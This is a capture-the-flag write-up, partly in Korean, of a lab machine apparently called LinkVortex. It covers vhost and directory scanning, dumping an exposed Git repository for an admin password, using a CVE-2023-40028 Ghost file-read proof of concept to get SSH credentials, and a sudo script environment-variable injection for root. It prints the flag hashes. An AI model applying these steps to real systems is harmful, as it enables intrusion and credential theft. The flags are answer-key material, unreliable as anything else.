Proof of Concept

10.129.5.209

Nmap

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Initial Access

80 웹서비스 접근

┌──(kali㉿kali)-[~/LinkVortex]
└─$ curl http://10.129.5.209
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://linkvortex.htb/">here</a>.</p>
</body></html>

/etc/hosts 파일 설정

┌──(kali㉿kali)-[~/LinkVortex]
└─$ cat /etc/hosts
<SNIP>
10.129.5.209	linkvortex.htb

서브도메인 탐색

  • dev.linkvortex.htb 발견
┌──(kali㉿kali)-[~/LinkVortex]
└─$ gobuster vhost -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://linkvortex.htb
[+] Method:                    GET
[+] Threads:                   100
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.linkvortex.htb Status: 200 [Size: 2538]

/etc/hosts 파일에 dev.linkvortex.htb 추가

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ cat /etc/hosts
<SNIP>
10.129.5.209	linkvortex.htb	dev.linkvortex.htb

http://dev.linkvortex.htb 하위 디렉토리 탐색 결과 결과 Git 레포지토리 발견

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ feroxbuster -u http://dev.linkvortex.htb -s 200 -t 1000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
 
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.linkvortex.htb/
 🚩  In-Scope Url          │ dev.linkvortex.htb
 🚀  Threads               │ 1000
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        1l        1w       41c http://dev.linkvortex.htb/.git/HEAD
200      GET      115l      255w     2538c http://dev.linkvortex.htb/
200      GET        1l        9w      175c http://dev.linkvortex.htb/.git/logs/HEAD
200      GET       15l       53w      868c http://dev.linkvortex.htb/.git/logs/
200      GET     2172l     8158w   958396c http://dev.linkvortex.htb/.git/index
[####################] - 17s     4781/4781    0s      found:5       errors:916
[####################] - 16s     4751/4751    289/s   http://dev.linkvortex.htb/
[####################] - 2s      4751/4751    2527/s  http://dev.linkvortex.htb/.git/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s      4751/4751    2738/s  http://dev.linkvortex.htb/.git/logs/ => Directory listing (add --scan-dir-listings to scan) 

Git 레포지토리 덤프

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ git-dumper http://dev.linkvortex.htb/.git/ . -t 30
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
<SNIP>
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

Git 레포지토리에서 비밀번호 추출

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ grep -i -r -E "password *[:=] *'"
.github/workflows/ci.yml:          mysql root password: 'root'
.github/workflows/ci.yml:          mysql root password: 'root'
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx:        errors.newPassword = 'Your new passwords do not match';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx:        errors.confirmNewPassword = 'Your new passwords do not match';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx:        errors.newPassword = 'Password must be at least 10 characters';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx:                            oldPassword: '',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts:                newPassword: 'newpassword',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts:                ne2Password: 'newpassword',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts:                oldPassword: '',
ghost/security/test/tokens.test.js:            password: 'password',
ghost/security/test/tokens.test.js:            password: '12345678',
ghost/security/test/tokens.test.js:            password: '12345678'
<SNIP
ghost/core/test/regression/api/admin/authentication.test.js:            const password = 'OctopiFociPilfer45';
<SNIP>

http://linkvortex.htb/ghost/#/signin에서 admin@linkvortex.htb/OctopiFociPilfer45로 로그인 성공

whatweb으로 웹 서비스 정보 확인

  • Ghost 5.58 사용
┌──(kali㉿kali)-[~/LinkVortex]
└─$ whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.129.5.209], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]

Ghost 5.58 버전에서 Arbitrary File Read Exploit 취약점 발견 (CVE-2023-40028)

POC 다운로드

┌──(kali㉿kali)-[~/LinkVortex]
└─$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028.git
Cloning into 'Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 20 (delta 3), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (20/20), 8.38 KiB | 8.38 MiB/s, done.
Resolving deltas: 100% (3/3), done.

POC 동작 확인

┌──(kali㉿kali)-[~/LinkVortex/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028]
└─$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Dockerfile.ghost파일에서 config.production.json 파일 절대 경로 확인

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0
 
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
 
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
 
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
 
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Read /var/lib/ghost/config.production.json using vulnerability (CVE-2023-40028) and found bob credentials

  • fibber-talented-worth
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

Accessed to target via SSH using previously obtained bob credentials

┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ sshpass -p 'fibber-talented-worth' ssh bob@10.129.5.209
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
 
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$

Read user.txt

bob@linkvortex:~$ cat user.txt
e482b470deb029e2edcaff3514130294
bob@linkvortex:~$ ifconfig
br-51005c50e6fd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.1  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:f3:06:b3:74  txqueuelen 0  (Ethernet)
        RX packets 49688  bytes 33202312 (33.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 48011  bytes 7780002 (7.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:79:f9:e4:b3  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.5.209  netmask 255.255.0.0  broadcast 10.129.255.255
        ether 00:50:56:b0:cf:eb  txqueuelen 1000  (Ethernet)
        RX packets 1073777  bytes 116202033 (116.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 611310  bytes 197503697 (197.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Privilege Escalation

sudo 권한 확인

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT
 
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Checked /opt/ghost/clean_symlink.sh and found it works as follows:

  1. 첫 번째 인자가 .png 확장자로 끝나고, 심볼릭 링크인지 확인
  2. 심볼릭 링크가 가리키는 실제 경로(타겟)를 readlink로 읽어오고, ‘etc’ 또는 ‘root’ 문자열이 포함되어 있으면 링크를 삭제
  3. 민감 경로가 아니면 /var/quarantined/ 디렉토리로 링크 파일 이동
  4. CHECK_CONTENT가 true이면 격리된 파일의 내용을 cat으로 출력
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
 
QUAR_DIR="/var/quarantined"
 
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
 
LINK=$1
 
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
 
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

if [ -z $CHECK_CONTENT ];then 부분에서는 CHECK_CONTENT에 명령어를 삽입하면 if $CHECK_CONTENT;then 부분에서 해당 명령어가 root 권한으로 실행된다.

bob@linkvortex:~$ ln -s a.png
bob@linkvortex:~$ export CHECK_CONTENT=/bin/bash
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ a.png ] , moving it to quarantine
root@linkvortex:/home/bob#

Read root.txt

root@linkvortex:~# cat root.txt
cb363ca718c1a1b6071a989253a9bbe7
root@linkvortex:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:cf:eb brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.5.209/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 1975sec preferred_lft 1975sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:79:f9:e4:b3 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-51005c50e6fd: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:f3:06:b3:74 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.1/16 brd 172.20.255.255 scope global br-51005c50e6fd
       valid_lft forever preferred_lft forever
6: veth82881ff@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-51005c50e6fd state UP group default
    link/ether 12:37:5a:72:65:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
8: veth77d85fd@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-51005c50e6fd state UP group default
    link/ether 32:0f:ba:e2:17:9a brd ff:ff:ff:ff:ff:ff link-netnsid 1